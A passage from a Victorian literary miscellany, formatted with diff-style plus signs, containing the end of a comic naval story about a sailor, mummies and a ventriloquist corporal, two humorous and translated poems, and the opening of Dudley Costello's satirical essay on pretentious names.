+'ud be a reg'lar fortin to her,--dead two thousand years, and yet drink
+brandy and chaw tobacco!' So I sleeps pretty sound, though for how many
+bells I'm blessed if I can tell; but I was waked up by a raking fire
+abaft, that warmed my starn, and I sits upright to clear my eyes of
+the spray, and there laid King Herod alongside of me, with one of the
+canteens as a pillow, and all the ould chaps had come down out o' their
+niches, and formed a complete circle round us, that made me fancy all
+sorts of conjuration and bedevilment; so I jumps up on to my feet, and
+lets fly my broadsides to starboard and port, now and then throwing
+out a long shot a-head, and occasionally discharging my starn chasers
+abaft till I'd floored all the mummies, and the whole place wrung with
+shouts of laughter, though not a living soul could I see, nor dead uns
+either,--seeing as they'd nothing but bodies. Well, shipmates, if the
+thought didn't come over me again about bolting with one on 'em, and
+so I catches up King Herod, and away I starts up some steps,--for the
+moon had got the watch on deck by that time, and showed her commodore's
+light to make every thing plain:--Away I starts with King Herod, who
+began to hollow out like fun, 'Stop--stop, sailor! stop!--where are
+you going to take me? I'm Corporal Stunt.'--'Corporal H--!' says I,
+'you arn't going to do me in that way,--you said yourself you was King
+Herod.'--'It was all a trick,' says he, again, kicking and sputtering
+like blazes; 'I'm not King Herod, I'm ounly Corporal Stunt,' says
+he.--'That be d--;' says I, 'you're conwicted by your own mouth. And
+didn't the woice tell me you was the barbarous blaggard as murdered
+the babbies?'--'Yes,--yes; but I did it myself,' says he.--'I know
+you did,' says I, fetching him a poke in the ribs,--for, shipmates,
+I made sure he warn't privileged above ground,--'I know you did,'
+says I, 'and I'm blessed if the first leftenant shan't bring you to
+the gangway for it!' And then he shouts out, and I hears the sound of
+feet astarn coming up in chase, and I carries on a taut press, till I
+catches sight of Clipsypaddyree's needle, that sarved me for a beacon,
+and I hears the whole fleet of mummies come 'pad-pad' in my wake, and
+hailing from their leather-lungs, 'Stop, sailor--stop!' but I know'd a
+trick worth two of that, shipmates; so I made more sail, and the little
+ould chap tries to shift ballast so as to bring me down by the head;
+but it wouldn't do, and he kept crying out, 'Let me down! pray let me
+go, I'm ounly Corporal Stunt!'--'Corporal Stunt or Corporal Devil,'
+says I, giving him another punch to keep him quiet; 'I knows who are
+you, and I'm blessed if the ould woman shan't have you packed up in a
+glass cage for a show! you shall have plenty o' pigtail and brandy:'
+and on I carries, every stitch set, and rattling along at a ten-knot
+pace, afeard o' nothing but their sending a handful o' monyments arter
+me from their bow-chasers, that might damage some of my spars. At
+last I makes out the battery, and bore up for the entrance, when one
+of the sodgers, as was sentry, hails, 'Who goes there?'--'No--no!'
+says I, seeing as I warn't even a petty officer.--'That won't do,'
+says the sodger; 'you must give the countersign.'--'What the blazes
+should I know about them there things?' axes I, 'you may see I'm
+a blue-jacket.'--'You can't pass without the countersign,' says
+he.--'That be d--d!' says I, 'arn't I got King Herod here? and arn't
+there King Fairer, and King Dollyme, and King Hangabull, and a whole
+fleet more on 'em in chase!' says I.--'Oh, Tom Morris, is that you?'
+says King Herod.--'Yes,' says the sentry; 'why, I say, sailor, you've
+got hould o' the corporal!'--'Tell that to the marines,' says I, 'for
+I knows well enough who he is, and so shall my ould mother when I gets
+him home! But, I'm blessed, but here they come!' and, shipmates, I
+heard 'em quite plain close aboard o' me, so that it was all my eye
+to be backing and filling palavering there afore the sentry, and get
+captured, and with that I knocks him down with King Herod, and in I
+bolts with my prize right into the officer's quarters. 'Halloo! who the
+devil have we got here?' shouts the leftenant, starting up from his
+cot.--'It's not the devil, your honour,' says I, 'not by no manner o'
+means; it's Joe Nighthead, and King Herod,' and I pitches the wagabone
+upright on to his lower stancheons afore the officer.--'There, your
+majesty,' says I, 'now speak for yourself.'--'Majesty!' says the
+leftenant, onshipping the ould fellow's turban and overhauling his
+face,--'majesty! why, it's the corporal--Corporal Stunt; and pray,
+Muster Corporal, what cruise have you been on to-night?'--and then
+there was the clattering of feet in the battery, and, 'Here they all
+are, your honour!' says I, 'all the ould ancient kings of Egypt as
+are rigged out for mummies. My eyes, take care o' the grog bottles,
+for them fellows are the very devil's own at a dram! Stand by, your
+honour! there's King Dollyme and all on 'em close aboard of us! but,
+I'm blowed if I don't floor some on 'em again as I did in the wault!'
+Well, messmates, in they came; but, instead of mummies in their oil
+jars, I'm bless'd if they warn't rigged out like sodger officers, and
+they stood laughing at me ready to split their sides when they saw me
+squaring away my yards all clear for action."
+
+"But, what was they, Joe?" inquired the boatswain's mate, "they must
+have shifted their rigging pretty quick."
+
+"I think I can explain it all," said the sergeant, laughing heartily,
+"for I happened to be there at the time, though I had no idea that our
+friend Joe here was the man we played the trick on."
+
+"Just mind how you shapes your course, Muster Sergeant!" exclaimed
+Joe, angrily. "I'd ounly give you one piece of good adwice,--don't be
+falling athwart my hawse, or mayhap you may wish yourself out o' this."
+
+"Don't be testy, Joe," said the sergeant, "on my honour I'll tell
+you the truth. Shipmates, the facts are these:--I belonged to the
+party in the battery, and went with some of the officers to explore
+a burial-ground, not without hopes of picking up a prize or two, as
+the report was that the mummies had plates of gold on their breasts.
+Corporal Stunt went with us; and, when we got to the place we lighted
+torches and commenced examination, but, if they ever had any gold about
+them the French had been there before us, for we found none. Whilst we
+were exploring, a storm came on, and not being able to leave the vault
+the officers dressed Stunt up in some of the cerements that had been
+unrolled from the mummies by way of amusement, little expecting the fun
+that it was afterward to produce. When Joe came in as he has described,
+we all hid ourselves, and, if truth must be spoken, he was more than
+half sprung." Joe grumbled out an expletive. "Stunt went to him, and we
+had as fine a piece of pantomime----"
+
+"Panter what?" uttered Joe, with vehemence, "there's no such rope in
+the top, you lubber! and arter all you can say I werily believes it wur
+King Herod; but, you see, messmates, what with running so hard, and
+what with losing my canteens, I got dumbfoundered all at once, and then
+they claps me in limbo for knocking down the sentry."
+
+"And the officers begged you off," said the sergeant, "on account of
+the fun they'd enjoyed, and you was sent away on board, to keep you out
+of further mischief, Joe, and to prevent your going a mummy-hunting
+again. As for Corporal Stunt----"
+
+"Corporal D--n!" exclaimed Joe in a rage, "it's all gammon about your
+Corporal Stunt; and in regard o' the matter o' that, what have you
+got to say in displanation o' the woice? There I has you snug enough
+anyhow; there was no mistake about the woice," and Joe chuckled with
+pleasure at what he deemed unanswerable evidence in his favour.
+
+"It may be accounted for in the most sensible way imaginable," said the
+sergeant; "Corporal Stunt was what they call a ventriloquist."
+
+"More gammon!" says Joe; "and, what's a wentillerquis, I should like
+to know; and how came the mummies to muster out of their niches when I
+woke?"
+
+"We placed them there whilst you were asleep," replied the sergeant,
+"and, as for Stunt, he was as drunk and drowsy as yourself."
+
+"Ay,--ay, sergeant!" said Joe, affecting to laugh, "it's all wery well
+what you're overhauling upon, but I'm blessed if you'll ever make me
+log that ere down about Corporal Stunt and the wentiller consarn. I
+ounly wish I had the canteens now."
+
+"Get a musket ready there for'ard!" shouted his lordship from the
+gangway, "fire athwart the brig's bows."
+
+"They seem to be all asleep aboard, my lord!" said Mr. Nugent. "At all
+events they don't seem to care much about us."
+
+"You're mistaken, Mr. Nugent," replied his lordship, as he directed
+his night-glass steadily at the stranger, "she's full of men, and if I
+am correct in my conjectures, there are many, very many eyes anxiously
+watching our motions."
+
+The musket was fired, and the brig came to the wind with her
+maintopsail to the mast. The frigate ranged up to windward of her, and
+the sonorous voice of Lord Eustace was heard,
+
+"Brig a-hoy! What brig's that?"
+
+"L'Hirondelle de Toulon," responded the commander of the vessel hailing
+through his speaking-trumpet. "Vat sal your ship be?"
+
+"His Britannic Majesty's frigate, the Spankaway," answered Lord
+Eustace: "lower away the cutter, Mr. Nugent, and board her."
+
+The two craft had neared each other so closely, and the moon shone with
+such clearness and splendour, that every thing was perfectly visible
+from each other on the decks of both. The brig was full of men, and
+when Lord Eustace had announced the name of his ship, the sounds had
+not yet died away upon the waters when out burst a spontaneous cheer
+from the smaller vessel such as only English throats could give,--it
+was a truly heart-stirring British demonstration, and there was no
+mistaking it. The effect was perfectly electric on the man-of-war's
+men,--the lee gangway was instantly crowded as well as the lee ports,
+and, as if by a sudden communion of spirit that was irrepressible, the
+cheer was returned.
+
+There is amongst thorough tars a sort of freemasonry in these things
+that no language can describe,--it is the secret sign, the mystery that
+binds the brotherhood together,--felt, but not understood,--expressed,
+yet undefined.
+
+"Where are you from?" shouted his lordship as soon as the cheering had
+subsided.
+
+"From Genoa, bound to Malta, your honour," answered a voice in clear
+English: "we're a Cartel."
+
+"Fortune favours us, Monsieur Capitaine," said his lordship to Citizen
+Begaud; "the exchange of prisoners can be effected where we are, and
+I will take it on my own responsibility to dismiss you on the usual
+terms, if you wish to return to France."
+
+"A thousand thanks, my lord," returned Begaud, with evident
+satisfaction. "Yet all places are alike to me now. You have heard my
+narrative, and I hope, if we part, you will not hold me altogether in
+contempt and abhorrence. My spirits are depressed--my star is dim and
+descending--my destiny will soon be accomplished."
+
+"You fought your ship bravely, Monsieur," said Lord Eustace, "and I
+trust your future career will redeem the past. You have suffered much,
+and experience is a wise teacher to the human mind. But there is one
+thing I am desirous of having explained. You say that Robespierre
+detained you for some time before he gave you a pardon for the
+Countess--do you think he was aware of her approaching execution?"
+
+"Aware of it, my lord?" exclaimed the French Captain, in a tone
+approaching to a shriek: "Danton, whom you well remember I said I
+met quitting the bureau, had the death-warrant, with the wretch's
+signature, in his hand--'twas solely for the purpose of destruction
+that he detained me--he knew the villain would be speedy--they had
+planned it between them."
+
+"All ready with the cutter, my lord," exclaimed Mr. Sinnitt, coming up
+to the gangway, and saluting his noble captain.
+
+"Board the brig, Mr. Nugent, and bring the master and his papers to the
+frigate," directed Lord Eustace. "Call the gunner--a rocket and a blue
+light."
+
+Both orders were obeyed; the signal was readily comprehended by
+Mr. Seymour, who hove-to in the prize, and in a few minutes Nugent
+returned from his embassy with the master of the cartel and the
+officer authorized to effect an exchange. The papers were rigidly
+examined--there were no less than one hundred and six Englishmen on
+board the brig, the principal portion of whom had been either wrecked
+or captured in merchant-men, and were now on their way to Malta for an
+equal number of French prisoners in return; the commander-in-chief at
+Genoa, rightly judging that British humanity would gladly accede to
+the proposition. There were no officers, but Lord Eustace undertook to
+liberate Citizen Captain Begaud--the preliminaries were arranged--the
+Frenchmen, man for man, were transferred to the brig (his lordship
+throwing in a few hands who earnestly implored his consideration)--the
+Englishmen were received on board the frigate--necessary documents were
+signed, and they parted company--the brig making sail for Toulon--the
+Spankaway rejoining her prize.
+
+"We've made a luckly windfall, Seymour," hailed his lordship when the
+frigates had closed; "I've a hundred prime hands for you. Out boats,
+Mr. Sinnitt, and send the new men away directly--but first of all, let
+every soul of them come aft." A very few minutes sufficed to execute
+the command. "My lads," said his lordship, addressing them, "are you
+willing to serve your country?--speak the word. I've an object in view
+that will produce a fair share of prize-money--enter for his majesty's
+service, and you shall have an equal distribution with the rest.
+Yonder's your ship, a few hours will probably bring us into action, and
+I know every man will do his duty."
+
+With but few exceptions, the seamen promptly entered, and were sent
+away to the Hippolito, where Mr. Seymour was instructed to station them
+at the guns with all possible despatch.
+
+"Well, here we goes again," said old Savage, as the order was given to
+bear up and make sail, "it's infarnally provoking not to be able to
+discover what the skipper's arter. There's the Pollytoe running away
+ahead, and Muster Seymour's just fancying himself first Lord o' the
+Admirality."
+
+"Beat to quarters, Mr. Sinnitt," exclaimed his lordship, "and cast
+loose the guns."
+
+"Well, I'm ---- if I can make anything on it, Jack," grumbled the
+boatswain; "what are we going to engage now--the Flying Dutchman, or
+Davy Jones?"
+
+"Mayhap a whole shole of Joe's mummies, sir," said Jack Sheavehole,
+with a respectful demeanour, as he cast loose his gun upon the
+forecastle, and threw his eye along the sight. Suddenly his gaze was
+fixed, he then raised his head for a moment, looked eagerly in the same
+direction, and once more glanced along the gun. "Well, I'm blessed
+if there aint," says he,--his voice echoed among the canvass as he
+shouted--"two sail on the starboard bow."
+
+"Who's that hailing?" said the captain, as he walked forward to the
+bows, with his glass under his arm.
+
+"It's Jack Sheavehole, your honour, my lord," replied the boatswain's
+mate, his eye still steadily fixed upon the objects.
+
+"If they're what I expect, it will be a hundred guineas for you, my
+man, and, perhaps something better," said his lordship. "Where are
+they?"
+
+"Just over the muzzle of the gun, my lord," answered Jack, as a
+fervent wish escaped him, that his lordship's expectations might be
+realized; for the hundred guineas, and something better, brought to his
+remembrance Suke and the youngsters.
+
+Lord Eustace took a steady persevering sight through his night glass,
+as the men went to their quarters, and the ship was made clear for
+action; his lordship then ascertained the correct distance of the
+Hippolito ahead to be about two miles. "Get top-ropes rove, Mr.
+Savage," said he; "heave taut upon 'em, and see all clear for knocking
+the fids out of the topmasts."
+
+"Ay ay, my lord," responded the boatswain, as he prepared for immediate
+obedience, but mumbling to himself, "What the ---- will he be at next;
+rigging the jib-boom out o' the cabin windows, and onshipping the
+rudder, I suppose. Well, I'm ----, if the sarvice arn't going to the
+devil hand-over-hand; I shouldn't be surprised if we have to take a
+reef in the mainmast next."
+
+"Mr. Sinnitt," said his lordship, "let them pass a hawser into the
+cutter,"--the boat had not been hoisted up again,--"take the plug out,
+and drop her astern."
+
+"D'ye hear that, Joe?" growled the boatswain; "there'll be more stores
+expended if she breaks adrift, and I'm ---- if I can make it out; first
+of all, we goes in chase o' nothing--now here's a couple o' craft in
+sight, that mayhap may be enemies' frigates,--he's sinking the cutter
+to stop our way. Well, we shall all be wiser in time."
+
+The strangers were made out to be two ships, standing in for the
+land, and whilst they were clearly visible to the Spankaway and the
+Hippolito, the position the moon was in prevented the strangers from
+seeing the two frigates. At length, however, they did obtain sight of
+them, and they immediately hauled to the wind, with their heads off
+shore.
+
+"There's a gun from the prize, sir," shouted one of the men forward, as
+the booming report of a heavy piece of ordnance came over the waters.
+
+"Run out the two bow-guns through the foremost ports, and fire blank
+cartridge," said his lordship. "Where's the gunner?"--Mr. Blueblazes
+responded, "Ay ay, my lord."--"Draw all the shot on the larboard
+side," continued Lord Eustace, to the great astonishment of the man of
+powder, and still greater surprise of the old boatswain.
+
+"Mr. Seymour is making signals, my lord," said the third lieutenant;
+"and he's altered his course towards the strangers."
+
+"Very good, Mr. Nugent," said his lordship; "let them blaze away with
+the bow-guns, but be careful not to shot them."
+
+The Hippolito kept discharging her stern chasers as she stood towards
+the strangers, who made all possible sail away, and the Spankaway fired
+her bow-guns without intermission, as she pursued her prize.
+
+"What an onmarciful waste of powder," said the boatswain to his mate;
+"I say, Jack, just shove in a shot to take off the scandal o' the
+thing."
+
+Whether Jack complied or not, is unknown. The boat astern was cut away,
+the Spankaway felt relieved, and drew up with the prize; the strangers
+retained their position, about three or four miles distant, and thus
+the chase continued till daylight, no one being able to make out what
+it all meant.
+
+
+
+
+THE CASTLE BY THE SEA.
+
+FROM UHLAND.
+
+
+    And didst thou see that castle,
+      That castle by the sea?
+    The rosy-tinctured cloudlets
+      Float o'er it bright and free.
+
+    'Twould be bending down its shadows
+      Into the crystal deep,--
+    In the sunset's rays all glowing
+      'Twould tower with haughty sweep.
+
+    "Ay, wot ye well, I saw it--
+      That castle by the sea,
+    And the pale moon standing o'er it,
+      And mists hung on its lee."
+
+    The wind and ocean's rolling,
+      Was their voice fresh and strong?
+    Came from its halls the echoes
+      Of lute and festal song?
+
+    "The winds, the waves around it
+      In sullen stillness slept,
+    Forth came a song of wailing,--
+      I heard it, and I wept."
+
+    The king and his proud ladye,
+      Were they pacing that high hall,
+    With crowns of gold, and girded
+      In purple and in pall?
+
+    And led they not exulting
+      A maid of rarest mould,
+    Bright as the sun, and beaming
+      In tresses all of gold?
+
+    "I saw that king and ladye--
+      The crown gemmed not their hair,
+    Dark mourning weeds were on them--
+      The maid I saw not there."
+
+        E.N.
+
+
+
+
+LEGISLATIVE NOMENCLATURE.
+
+AMONGST THE MOTLEY CHARACTERS AND COMBINATIONS IN THE NEW HOUSE OF
+COMMONS MAY BE FOUND
+
+
+    A _Duke_, an _Erle_, a _Bannerman_,
+      A _Barron_, and a _Knight_;
+    A _Northland_ Lord, a _Denison_,
+      With _Manners_ most polite.
+
+    A _Kirk_ and _Chaplin_ still remain,
+      Tho' the House has lost its _Clerk_;
+    But a _Parrott_'s there to say amen,
+      And a _Fox_ and _Woulfe_ to bark!
+
+    Saint _Andrew_, holy man, is gone,
+      Who _Knightley_, _Neeld_, and _Praed_,[42]
+    A _Haytor_[43] of the poor man's joy,
+      And Sunday _Baker_ trade.
+
+    A _Leader_, and a _Crewe_ with _Spiers_,
+      Conspire against _A'Court_;
+    But _Dick_ declares, and _Darby_ swears,
+      _No-el_ is meant nor _Hurt_.
+
+    They've hunted _Roebuck_ from his hold,
+      And _Buck_-ingham and _Bruen_;
+    But a _Sheppard_ stays to guard the fold,
+      And save the flock from ruin!
+
+    There's _Cow_-per, _Bull_-ers, and Knatch-_bull_,
+      With _Lamb_-ton, _Hinde_, and _Hogg_;
+    A brace of _Martins_, _Finch_, and _Hawkes_,
+      And _Pusey_ in a _Bagge_!
+
+    There's _Moles_-worth, _Duck_-worth, _Cod_-rington,
+      Three _Roches_ and a _Seale_;
+    A _Rose_, a _Plumptre_, and a _Reid_,
+      With _Hawes_ and _Lemon Peel_.
+
+    A _Bold_-ero, with _Muskett_ armed,
+      Goes thro' the _Woods_ to _Chute_;[44]
+    He fires some _Rounds_, and then brings down
+      A _Heron_ and _Wilde Coote_!
+
+    _Great Dan_, with his smooth _Winning-ton_,
+      Contrives his _Poyntz_ to _Wynn_;
+    For his supple _tail_ has stronger grown,
+      Tho', alas! he's lost his _Finn_!
+
+    Two _Baillies_ and an Irish _Maher_,[45]
+      And _Burroughes_, _Power_, a _Bewes_;[46]
+    Two Tory _Woods_, a _Forester_,
+      With _Hastie_, _Vigor_, _Hughes_![47]
+
+    A _Cave_, a _Loch_, a _Hill_, a _Fort_,
+      A _Divett_, and a _Trench_;
+    A _Fleming_ and a _Bruges_, _Guest_,
+      With _Holland_, _Folkes_ and _Ffrench_.
+
+    A _Hob-house_, _Wode-house_, _Powers-court_,
+      Two _Est-courts_ and a _Hall_;
+    The _Hutt_, alas! they've undermined,
+      And left a _Black-stone_, _Wall_!
+
+    A _Marshall-Law_, with _Power_, _C. Vere_,[48]
+      And _Foley_ and _Strange-ways_;
+    Three _Palmers_ on a pilgrimage,
+      A _Gally_ in a _Hayes_![49]
+
+    Tho' _North_ and _West_ are both displaced,
+      An _East-hope_ has been gained;
+    While _East-nor_, _East_ and _West_-enra,
+      Their stations have maintain'd!
+
+    _Camp-bells_ we have, and Durham _Bowes_,[50]
+      With one Northumbrian _Bell_;
+    From _Stirlingshire_ they've sent _For-bes_,[51]
+      To _Lisburn_ for _Mey-nell_![52]
+
+    Tho' _Beau-clerk_ and _Beau-mont_ are gone,
+      We've _Fellowes_, _Hale_ and _Young_,
+    In _Style_ to carry on the _Ball_,
+      And dash and _Strutt_ a _Long_.
+
+    A _Horsman_ with _Fre-mantle_ trots
+      Two _Miles_ to _Wynn_ a _Pryse_;
+    Two _Walkers_, _Pryme_, the distance run,
+      More confident than _Wyse_.
+
+    A _Chapman_ with his _Packe_ and _Price_,
+      A _Potter_ with his _Clay_;
+    A _Fresh-field_, _Baring_, _Pease_, and _Rice_,
+      A thriving _Field-en Hay_.
+
+    A _Carter_, _Coopers_, _Turners_, _Smiths_,
+      A _Collier_ with his _Coles_;
+    A _Master-Cartwright_ with his _Maule_,
+      A _Bolling-Green_ and _Bowles_.
+
+    A _Black_-burn, _Blew_-itt, and _Brown_-rigge,
+      And _Black_-ett, _White_, and _Grey_;
+    With double _Scarlett_, _Orange-Peel_,
+      And _Brown_ and _Green_-away.
+
+    There's _Crawford_, _Wood_, and _Pattison_,
+      And _Barings_ passing _Rich_;
+    With _Money-penny_ and a _Grote_,
+      And _Grimston_ and _Grimsditch_.
+
+    There's _Rum-bold_, _Tancred_, and _Phill-potts_,
+      A _Butler_ from Kilkenny;
+    A _Heath-coat_, _Thorn-hill_, and _Broad-wood_,
+      With _Mild-may_ and _Ma-hony_.
+
+    A _Bodkin_, _Sharpe_, Kent _Hodges_, _Blunt_,
+      A _Miller_ and a _Baker_;
+    With sinners, saints, and Methodists,
+      Socinians, and a _Quaker_!
+
+    Staunch Papists, Presbyterians,
+      And Churchmen great and small;
+    With _Mathew_, _Mark_, and _Luke_, and _John_,
+      Old _Adam_ and _St. Paul_!
+
+        G.W.
+
+FOOTNOTES:
+
+[Footnote 42: Prayed.]
+
+[Footnote 43: Hater.]
+
+[Footnote 44: Shoot.]
+
+[Footnote 45: Mayor.]
+
+[Footnote 46: Abuse.]
+
+[Footnote 47: Hews.]
+
+[Footnote 48: Severe.]
+
+[Footnote 49: Haze.]
+
+[Footnote 50: Beaux.]
+
+[Footnote 51: For Bess.]
+
+[Footnote 52: My Nell.]
+
+
+
+
+NOBILITY IN DISGUISE.
+
+BY DUDLEY COSTELLO.
+
+    "They name ye before me,
+      A knell to mine ear;
+    A shudder comes o'er me.----"
+
+    BYRON.
+
+
+One of the evils of an increasing population is the difficulty of
+finding names for all the new-comers. As long as the census remained
+proportionate to the superficies of the country, and every man could
+entrench himself within the walls of his own domicile, or isolate
+himself between his own hedges, the principle of individuality
+continued unassailed; but when, from a thousand causes, the population
+became doubled, almost within our recollection, and men were forced to
+herd together, gregarious by compulsion, we felt that a blow had been
+struck at personal identity which it would require the utmost ingenuity
+to parry.
+
+Amongst the many responsibilities entailed upon parents, not the
+least, in these prolific times, is that of providing their offspring
+with names which shall carry them safely through the wear and tear
+of after-life without encroaching upon the privileges, or sharing in
+the disgraces, of others. The man, for instance, who _happens_ to
+bear the _not-impossible_ name of Smith, and who chooses to christen
+his son by the not-uncommon one of John, commits an error as fatal as
+can well be imagined. At school that son is buffeted by mistake, and
+birched by accident, for the broken windows and invaded orchards: the
+acts of another John Smith. As he advances towards man's estate, his
+good reputation is stolen, and a bad one substituted, by the graceless
+conduct of a namesake. He is dunned for debts he never contracted,
+rendered liable for hearts he never broke, and imprisoned for assaults
+he never committed. He is superseded in the affections of his mistress
+by another John Smith, disinherited on his account, and when he
+dies--for even Smiths must die--no tear is shed to his memory, no
+record commemorates his decease; like the pebble which is cast into the
+ocean, a little circle just marks the spot for a moment, and the waves
+of oblivion roll over it for ever!
+
+The same melancholy fate haply attends the possessors of the names of
+Green, Brown, Jones, Robinson, Thompson, and others no less familiar.
+The destiny of one becomes involved in the general lot of all; the
+multitude can no more distinguish between them than they can separate
+one sheep from a flock, or one bee from a swarm. The hand of fate
+is on the unhappy crowd,--"they are the victims of its iron rule;"
+and victimised to a certainty they would have remained, had not a
+boldly-conceiving individual invented a mode of particularising that
+which was general, severing the with which bound them in one universal
+faggot. It was effected in this wise. He considered the name he
+bore--one of those already alluded to--as being only the type of _man_;
+and, spurning at the imbecility or indifference of a godfather, who
+had thus neutralised his existence at the very outset, he resolved to
+intercalate certain high-sounding appellations, which of themselves
+would attract sufficient attention, but, when combined with his own
+futile denomination, would be sure to strike, from the absurdity of
+the contrast, or singularity of the juxta-position. Thomas Brown was
+a name as insignificant as parents or sponsors could make it; but
+when, in the course of time, it swelled itself into Thomas Claudius
+Fitzwilliam Carnaby Browne, it was impossible to pass it unregarded.
+The feat once accomplished, like the broken egg of Columbus, it became
+of easy performance; and few were the Thompsons, few the Simpsons, and
+fewer still the Johnsons, who did not claim "the benefit of the act."
+
+A prospective advantage was included also in their calculations. As
+time wore away, the obnoxious Thomas or John was silently dropped;
+and then, by a daring _coup-de-maître_, the plebeian sur-name, which
+had been gradually contracting its powers, was altogether sunk, and
+the grub became a butterfly of most aristocratic pretensions. This is
+no vain theory founded on chance occurrences, but a truth which every
+one will recognise who runs over the list of his acquaintance, or
+examines the visiting-cards on his mantel-piece. It is as impossible
+now-a-days to meet with a man content to bear the opprobrium of a
+single monosyllabic name, as to raise money without security, or induce
+any one to avoid politics in conversation. The ancient prejudice
+against the "homo trium literarum" is now wholly removed; and we verily
+believe that Cavendish Mortimer Pierrepoint, an acknowledged scion of
+the swell-mob, would find more favour in the eyes of society than plain
+Benjamin Bunks, a well-known respectable hosier or linendraper, if a
+question of right were at issue between them.
+
+There are two classes of persons who build up to themselves an altar
+of vain-glory founded on names of self-assumption. The first are those
+who, being cast originally in the basest metal, add the pinchbeck of
+quality to enhance the value of the original plebeian pewter; the
+second, of "dull and meagre lead," who thereunto conjoin the glare
+of brass or gloom of iron by the adoption of double names of equal
+dissonance. Examples are rife everywhere. Mr. and Mrs. Vokins, while
+their fortune was yet to make, were happy and content "as such;" but,
+the carriage once set up, the arms _found_, and the visiting-cards
+printed, her friends are awake to the pleasing consciousness that "Mrs.
+Ferdinand Vokins" is "at home" every alternate Wednesday during the
+season.
+
+Mr. Mudge was a plain, simple Glo'stershire squire, shooting partridges
+on the paternal acres, and called "Young Mr. Mudge," as manhood and
+whiskers expanded on his native soil. He comes to town, sees the
+world, and discovers, for the first time, despite the importance
+which inflates him, that he is nameless. He accordingly borrows from
+the French, and is straightway transformed into "the interesting Mr.
+Montmorency Mudge, who plays so divinely on the flute," though his very
+existence had been a question but a few brief hours before.
+
+The Badgers, though proud of course of their name _as a family name_,
+have daughters to marry, and sons to provide for: it is of no use to
+be good unless one appears so; and therefore Mrs. _Howard_ Badger's
+suppers are the best in town, while Mr. Howard Badger is received with
+smiles at the Treasury.
+
+Plain Boss would have succeeded nowhere, except, perhaps, on a
+street-door; but Felix Orlando Boss may enter the gayest drawing-room
+in Christendom, announced by files of intonating footmen.
+
+We are invited to dine, and seek to ascertain the profit and loss of
+the invitation by inquiries of a fellow _convive_ as to the guests
+who will be there: he is _l'ami de la maison_, and, to give due
+emphasis to the description, and honour to the Amphitryon, he thus
+enumerates them. "Oh, you'll have the Mortimer Bullwinkles, Mr. and
+Mrs. Frederick Cutbush, the Stafford Priddys, Sir Montague Stumps, Mr.
+Temple Sniggers, the Beauchamp Horrockses, and Mrs. Courtenay Cocking;
+nobody else, that I remember." "Won't the Wartons be there?" "I don't
+know,--who are they?--I never heard of them:--what's their _other_
+name?"
+
+And so it is: this "other name,"--this _alter ego_--becomes the grand
+desideratum in description,--the passport to fashion and celebrity.
+
+The anonymous in authorship is no longer regarded, save in the instance
+of those veterans in literature whose silence is more significant than
+the loud-tongued voices of a million aspirants. We need no sign-post
+to show us the way to London, neither do we seek a name to anticipate
+their page. But the new candidates for fame are of a different order.
+The title-page of a work is in their estimation a maiden shield whereon
+it is their privilege to quarter the names of all their lineage,
+concentrated in themselves, or pompously appealed to in the names
+of others. Hence we have, "Rambles in Russia, by Charles Valentine
+Mowbray Muggins;" "Thoughts on the Poor-Laws, by Pygmalion Gammage;"
+"The Exile; a poem, by Brownlow Busfield, of the Middle Temple,
+Barrister-at-Law;" "Desperation; a novel, by Grenville Grindle, Esq.;"
+"The Veil Withdrawn, or, A Peep behind the Curtain, by the Nieces of
+the Hon. and Rev. Fitzherbert Fineclark;" and "Domestic Tyranny, or,
+The Stony-hearted Step-father, by Lavinia Cecilia Bottomley, only child
+of the late Captain Roderick Bottomley, of the Bombay Cavalry."
+
+It is no longer our cue to be rendered "illustrious by courtesy;" we
+compel the admiration which the niggard world so carefully withholds,
+and extort the approbation it would smother. It matters little how raw,
+how shapeless, how crude, how undigested be the mass when drawn from
+the quarry of its creation; its uncouth aspect and angular deformity
+offer no impediment to the lapidary's skill, but rather enhance its
+value; and the more barbarous the name which ignorant parents have
+transmitted, the wider is the scope afforded to their descendants for
+rendering the adjunct more brilliant by the contrast.
+
+He who is born Buggins, and changeth not, perisheth unregarded; his
+name appears in the Newgate Calendar, and whatever his fate, it
+is deemed a just one. But he who (though equally degraded in the
+annals of nomenclature by the repulsive or sneaking appellations of
+Jaggers, Blatcher, Gullock, or Lumkin,) adds to his patronymic the
+soft seduction or romantic interest of Albert, Eustace, Stanley, or
+Fitzmaurice, may appeal to the lord in waiting, or a patroness at
+Almack's, and kiss the hand of royalty, or bow at the shrine of beauty.
+
+The motto is old and true, which many "gentlemen of coat-armour" do
+bear, that "Fortune favours the bold;" the daring speculators in the
+names of others are eminently successful in their adventure after
+greatness. To this category belong the sheriffs and aldermen, the
+bearers of addresses, and the deputed of corporations; these are they
+who may literally be said to have greatness "thrust upon them."
+
+The Mayor of Norwich, hight Timothy Gamblebuck, urged by the ambitious
+spiritings of Mrs. G., kneels at his sovereign's feet, and, rewarded
+by an accolade, returns, in the triumph of knighthood and plenitude
+of loyalty, "Sir Timotheus Guelph Gamblebuck" by _more_ than royal
+permission.
+
+Mr. Sheriff Hole, presented by a peer, and similarly honoured by the
+king, marks his sense of his patron's kindness by the insertion of his
+title before the cavernous epithet, and figures at urban festivals
+as Sir John Cornwallis Hole, the most aristocratic on the shrieval
+archives.
+
+Sir Marmaduke Fuggles, Sir Cholmondeley Bilke, Sir Constantine
+Peregrine Rumball, Sir Temple Gostick, and Sir Peter Sackville Biles,
+are amongst the many whom female instigation or personal desire have
+led to illustrate the glory of ancient houses. It is somewhere said
+in "Pelham" that one's unknown neighbour, or opposite at dinner, must
+necessarily be a baronet and Sir John; it is no less true that at the
+corner of every street, in the avenues of every ballroom, a newly
+created knight lies in waiting to devour one. A man with a bright blue
+coat, and, if possible, brighter buttons, with black satin waistcoat
+and _very_ gold chain, with large hands and a face of red portent,
+cuts in with us at whist; his antagonists are perpetually appealing
+to him by his brilliant title. "It is your deal, Sir Vavasour,"--"My
+ace, Sir Vavasour,"--"Sir Vavasour, two doubles and the rub;"--till,
+bewildered by the glories of our feudal partner, we lose the game, and
+stealthily inquire of some one near, "Who _is_ the gentleman opposite?"
+"Sir Vavasour Clapshaw" is the whispered reply, recalling the name of
+one much respected in our youthful days,--a celebrated artist in the
+cricket-bat line, who has now pitched his wicket within the precincts
+of aristocracy, and bowls down society with the grandeur of his
+_préfixe_.
+
+A lady in crimson velvet, with a bird of paradise in her blue and
+silver "turband," and a marabout boa wreathed round her neck, with long
+white gloves tightened unto bursting, and serpentine chains clinging
+unto suffocation, is seated in lofty pride at the _upper_ end of the
+_principal_ saloon, and overwhelms by the dignity of her demeanour all
